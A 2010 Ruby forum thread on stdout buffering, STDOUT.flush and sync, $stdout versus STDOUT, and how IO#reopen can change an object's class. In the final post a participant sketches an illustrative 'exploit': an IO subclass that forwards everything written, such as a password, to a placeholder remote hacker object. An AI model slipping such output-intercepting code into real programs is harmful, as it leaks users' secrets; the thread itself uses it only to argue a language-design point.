Use of STDOUT.flush after puts


#1

I’ve seen several examples on this forum where folks have used
STDOUT.flush after printing a query to a terminal. For example:

puts “Delete indicated item [yes, no]”
STDOUT.flush
response = gets.chomp

What is the purpose of the ‘STDOUT.flush’, and is it always necessary to
use it? What are the possible problems if it isn’t used?

–Alex


#2

On 28 Apr 2010, at 16:44, Alex DeCaria wrote:

I’ve seen several examples on this forum where folks have used
STDOUT.flush after printing a query to a terminal. For example:

puts “Delete indicated item [yes, no]”
STDOUT.flush
response = gets.chomp

What is the purpose of the ‘STDOUT.flush’, and is it always necessary to
use it? What are the possible problems if it isn’t used?

It forces the output to appear immediately, otherwise it may be held in
a buffer for some indeterminate time, usually until enough output has
accumulated to make it worth while to commit to the terminal, however as
you are waiting for input this threshold will never be reached.

Dave.


#3

Thanks! --Alex


#4

Dave B. wrote:

On 28 Apr 2010, at 16:44, Alex DeCaria wrote:

I’ve seen several examples on this forum where folks have used
STDOUT.flush after printing a query to a terminal. For example:

puts “Delete indicated item [yes, no]”
STDOUT.flush
response = gets.chomp

What is the purpose of the ‘STDOUT.flush’, and is it always necessary to
use it? What are the possible problems if it isn’t used?

It forces the output to appear immediately, otherwise it may be held in
a buffer for some indeterminate time, usually until enough output has
accumulated to make it worth while to commit to the terminal, however as
you are waiting for input this threshold will never be reached.

Dave.

Instead of STDOUT.flush-ing multiple times, you can set STDOUT.sync =
true once.


#5

Thanks everyone. That is very helpful. My remaining questions is "Why
isn’t Ruby’s default state such that STDOUT.sync is always ‘true’? In
other words, what’s the advantage of having standard output buffered
rather than instantaneous? In every program I’ve written in Ruby I’ve
always wanted anything written to standard output to appear
instantaneously.

–Alex


#6

On Thu, Apr 29, 2010 at 9:16 AM, Siep K. removed_email_address@domain.invalid
wrote:

Instead of STDOUT.flush-ing multiple times, you can set STDOUT.sync =
true once.

And, please, instead of using STDOUT, please use $stdout, this allows
your users to mock stdout to somewhere else without getting constant
redefinition warnings.

Cheers
R.


#7

On Thu, Apr 29, 2010 at 1:28 PM, Robert D. removed_email_address@domain.invalid
wrote:

On Thu, Apr 29, 2010 at 9:16 AM, Siep K. removed_email_address@domain.invalid wrote:

Instead of STDOUT.flush-ing multiple times, you can set STDOUT.sync =
true once.

And, please, instead of using STDOUT, please use $stdout, this allows
your users to mock stdout to somewhere else without getting constant
redefinition warnings.

One can always use IO#reopen if one wants to redirect the output
somewhere. I still prefer constant declaration more than global
variable.


Let them talk of their oriental summer climes of everlasting
conservatories; give me the privilege of making my own summer with my
own coals.

http://gnufied.org


#8

On 4/29/10, Alex DeCaria removed_email_address@domain.invalid wrote:

Thanks everyone. That is very helpful. My remaining questions is "Why
isn’t Ruby’s default state such that STDOUT.sync is always ‘true’? In
other words, what’s the advantage of having standard output buffered
rather than instantaneous? In every program I’ve written in Ruby I’ve
always wanted anything written to standard output to appear
instantaneously.

I had thought that stdout (and stderr?) were supposed to be line
buffered by default when attached to terminals, else fully buffered.
This is traditional unix stdio behavior, nothing to do with ruby per
se. Line buffered means that a flush is performed automatically by
stdio whenever a \n is printed (which would mean that puts always
flushes whatever it prints, since it always appends \n if one was not
present). Fully buffered is the same as $stdout.sync==false. 1.8 seems
to behave in the way I described, even tho the $stdout.sync flag is
false. 1.9 may well behave differently, since it bypasses stdio
buffering and does its own thing.

Here are the results of two experiments I did on the command line. In
the first, stdout is a real file, and clearly is unbuffered, since the
output is not printed to it right away. In the second, output is to
the terminal, and was printed right away (tho you can’t see that here,
you’ll have to take my word for it).

$ ruby -e ‘puts “foo”; sleep 15; p $stdout.sync’ > foop & sleep 1; ls
-l foop
[2] 6521
-rw-r–r-- 1 caleb caleb 0 2010-04-29 09:23 foop
$ cat foop
foo
false

$ ruby -e ‘puts “foo”; sleep 15; p $stdout.sync’
foo
false


#9

2010/4/29 Alex DeCaria removed_email_address@domain.invalid:

Thanks everyone. That is very helpful. My remaining questions is "Why
isn’t Ruby’s default state such that STDOUT.sync is always ‘true’? In
other words, what’s the advantage of having standard output buffered
rather than instantaneous? In every program I’ve written in Ruby I’ve
always wanted anything written to standard output to appear
instantaneously.

Maybe because it is more efficient for the general case and there
might not be a reliable platform independent way to detect the type of
output (terminal, file, pipe…).

Btw, different Ruby implementations seem to not agree on the default
value:

18:00:33 ~$ allruby -e ‘p $stdout.sync’
CYGWIN_NT-5.1 padrklemme1 1.7.5(0.225/5/3) 2010-04-12 19:07 i686 Cygwin

ruby 1.8.7 (2008-08-11 patchlevel 72) [i386-cygwin]
false

ruby 1.9.1p378 (2010-01-10 revision 26273) [i386-cygwin]
false

jruby 1.4.0 (ruby 1.8.7 patchlevel 174) (2009-11-02 69fbfa3) (Java
HotSpot™ Client VM 1.6.0_20) [x86-java]
true
18:01:14 ~$

Kind regards

robert


#10

On Thu, Apr 29, 2010 at 2:31 PM, hemant removed_email_address@domain.invalid wrote:

One can always use IO#reopen if one wants to redirect the output
somewhere. I still prefer constant declaration more than global
variable.

Hmm, can you? I am not that sure, here is the behavior I was thinking
about:

def with_stdout stdout, &blk
original_stdout = $stdout
$stdout = stdout
blk[]
ensure
$stdout = original_stdout
end

R.


#11

On Thu, Apr 29, 2010 at 10:56 PM, Robert D. removed_email_address@domain.invalid
wrote:

Fair enough, may be in that pattern. But for general usage, #reopen
suffices. But in any case, it may be bikeshedding to further press the
point. :smiley:


Let them talk of their oriental summer climes of everlasting
conservatories; give me the privilege of making my own summer with my
own coals.

http://gnufied.org


#12

On Thu, Apr 29, 2010 at 8:25 PM, hemant removed_email_address@domain.invalid wrote:

Fair enough, may be in that pattern. But for general usage, #reopen
suffices. But in any case, it may be bikeshedding to further press the
point. :smiley:
No I do not think so, by using $stdout you are just conceding to the
fact that it is not a constant.
STDOUT is somehow a misconception.
R.


#13

Hi

On Fri, Apr 30, 2010 at 1:24 AM, Benoit D. removed_email_address@domain.invalid
wrote:

reopen instead."
Perhaps “not permitted” is too strong a word. Not advisable is better.

In fact, the only clean way to keep the standards in/out/err is
to keep unmodified these constants (which is normal: they are constants).
(By clean I mean not making others constants/global variables)

IO#reopen is kind of a trick that shouldn’t be allowed on constants(or
frozen vars), it’s like a #replace.
(even worse, it can actually change the class)

Ruby standard library uses IO#reopen many places on STDOUT. I am not
saying since Ruby standard library does that, it has to be best
practice, but in above context it really depends on implementation.
For example, in many languages you can have a constant variable and
while you can’t assign anything else to variable you can add/remove
stuff to object to which the variable points. How is reopen different
that that?

How can reopen change the class btw? Ruby is not a class oriented
language btw.


Let them talk of their oriental summer climes of everlasting
conservatories; give me the privilege of making my own summer with my
own coals.

http://gnufied.org


#14

On 29 April 2010 21:06, Robert D. removed_email_address@domain.invalid wrote:

– Alan Kay

Hi,

If I can add my thoughts:

STDIN, STDOUT, STDERR are constants which represent default values for
$stdin, $stdout, $stderr.

Programming Ruby 1.9 say:

“$stdout IO The current standard output. Assignment to $stdout is not
permitted: use $stdout.
reopen instead.”
(in 1.9.2 I don’t have any problem on doing “$stdout =”, while I usually
use
$> instead)
("$> IO The destination of output for Kernel#print and Kernel#printf.
The
default value is
$stdout.")

“STDOUT IO The actual standard output stream for the program. The
initial
value of
$stdout.”

In fact, the only clean way to keep the standards in/out/err is
to keep unmodified these constants (which is normal: they are
constants).
(By clean I mean not making others constants/global variables)

IO#reopen is kind of a trick that shouldn’t be allowed on constants(or
frozen vars), it’s like a #replace.
(even worse, it can actually change the class)

To the main thread:

Clearly, $std{out,in,err}.sync is the best way to go if you want to
flush
everything. :slight_smile:

Regards,

B.D.


#15

On Thu, Apr 29, 2010 at 9:54 PM, Benoit D. removed_email_address@domain.invalid
wrote:

On 29 April 2010 21:06, Robert D. removed_email_address@domain.invalid wrote:

“$stdout IO The current standard output. Assignment to $stdout is not
permitted: use $stdout.
reopen instead.”
(in 1.9.2 I don’t have any problem on doing “$stdout =”, while I usually use
$> instead)
so this is obviously false and reopen will not do the trick if I want
to intercept messages passed to $stdout.
("$> IO The destination of output for Kernel#print and Kernel#printf. The
default value is
$stdout.")
Hmm redfining $> instead of $stdout might indeed be a better idea for
capture of “standard” output.

agree with everything else.
R.


#16

On 4/29/10, hemant removed_email_address@domain.invalid wrote:

Ruby standard library uses IO#reopen many places on STDOUT. I am not
saying since Ruby standard library does that, it has to be best

Not necessarily. There are some dusty corners in stdlib. If stdlib
does this, it may be a bug; can you give examples?

The one place I know of is the cgi library, which reopens
STDIN/OUT/ERR as part of the process of purifying the environment of
the cgi server process. Other servers might do the same and it would
be appropriate there as well.

I guess the other case where it would be necessary is if you want to
change the STDIN/OUT/ERR seen by subprocesses.

In other cases that I know of, modifying STDIN/OUT/ERR is not a good
idea…

How can reopen change the class btw? Ruby is not a class oriented language
btw.

Check out this code. No other method in all of ruby has this behavior.

p $stderr.class #=>IO

f=File.new “foo”,“w”
$stderr.reopen(f)

p $stderr.class #=>File


#17

2010/4/30 Charles Oliver N. removed_email_address@domain.invalid:

$stderr.reopen(f)

p $stderr.class #=>File

This is a really nasty feature not a lot of people know about. It’s
not possible for us to support in JRuby because the underlying object
can’t actually change class:

That’s true, instances which change their class - this is problematic.

I’m of the opinion that .reopen should be discouraged in general.

IMHO that is a bad idea because this is the standard way how you
redirect stderr, stdin and stdout for child processes - at least on
POSIX systems. Any program that wants to do something similar like
IO.popen or just wants to prevent the child’s stdout to clutter its
own output depends on the ability to do this.

Kind regards

robert


#18

On Thu, Apr 29, 2010 at 4:24 PM, Caleb C. removed_email_address@domain.invalid
wrote:

 p $stderr.class #=>File

This is a really nasty feature not a lot of people know about. It’s
not possible for us to support in JRuby because the underlying object
can’t actually change class:

~/projects/jruby âž” jruby -rjruby -e ‘p JRuby.reference($stdout).class’
Java::OrgJruby::RubyIO

~/projects/jruby âž” jruby -rjruby -e ‘p
JRuby.reference(File.open(“build.xml”)).class’
Java::OrgJruby::RubyFile

Arbitrary IO objects are org.jruby.RubyIO objects behind the scenes,
while files are RubyFile (< RubyIO) and sockets are RubySocket (<
RubyIO) or one of its subclasses. “Becoming” another class isn’t an
option.

The closest we could probably come would be to change the .class to a
common superclass of both actual types, but that’s still pretty goofy.

I’m of the opinion that .reopen should be discouraged in general.

  • Charlie

#19

Hi

On Fri, Apr 30, 2010 at 1:13 PM, Charles Oliver N.
removed_email_address@domain.invalid wrote:

Consider this goofy sort of exploit:
super(data)
from reopening on an “untainted IO”, but you have to go up to level 4
language like Ruby, objects should not change their class under any
circumstances.

And was this discussed on ruby-core, it seems same behaviour can be
achieved without changing the class (or if required changing to some
superclass)?


Let them talk of their oriental summer climes of everlasting
conservatories; give me the privilege of making my own summer with my
own coals.

http://gnufied.org


#20

On Fri, Apr 30, 2010 at 2:09 AM, Robert K.
removed_email_address@domain.invalid wrote:

redirect stderr, stdin and stdout for child processes - at least on
POSIX systems. Â Any program that wants to do something similar like
IO.popen or just wants to prevent the child’s stdout to clutter its
own output depends on the ability to do this.

IO.popen doesn’t require IO#reopen to be available to users, so I’m
not sure what you mean by that. It may do something similar to reopen
under the covers, but that’s an implementation detail.

My primary gripe is the changing class; at worst, IO#reopen should
only change the class to some common superclass, so that reopening a
File stream with a Socket would turn it into an IO. But at best, the
class shouldn’t change at all; no other behavior in all of Ruby can
cause an object to change its effective type out from under you.
Consider this goofy sort of exploit:

class MeanIO < IO
def initialize(io)
super(io.fileno)
@io = io
end

def write(data)
$stderr.puts “sending your data to hacker!”
$remote_hacker.receive(data)
super(data)
end
end

$stdout.reopen(MeanIO.new($stdout))

puts ‘password:aSdFgH’

Now of course you could do similar sorts of things by simply class <<
$stdout, but the problem with reopen is that I can’t even freeze a
class somewhere to prevent this from happening. $SAFE can prevent you
from reopening on an “untainted IO”, but you have to go up to level 4
before that happens…plus I believe only MRI supports SAFE fully
(JRuby has some minimal support for tainting, but does not implement
SAFE levels).

So yeah, I appreciate that “reopen” is the typical way people redirect
IO, but in this case it breaks Ruby’s class/object model in a really
nasty way. Perhaps $stderr and friends should not be some sort of
DelegateIO that has a reopen, but which doesn’t change its class. Or
perhaps not changing the class and letting the user fail if they try
to call unsupported methods is best. At any rate, for a strongly-typed
language like Ruby, objects should not change their class under any
circumstances.

  • Charlie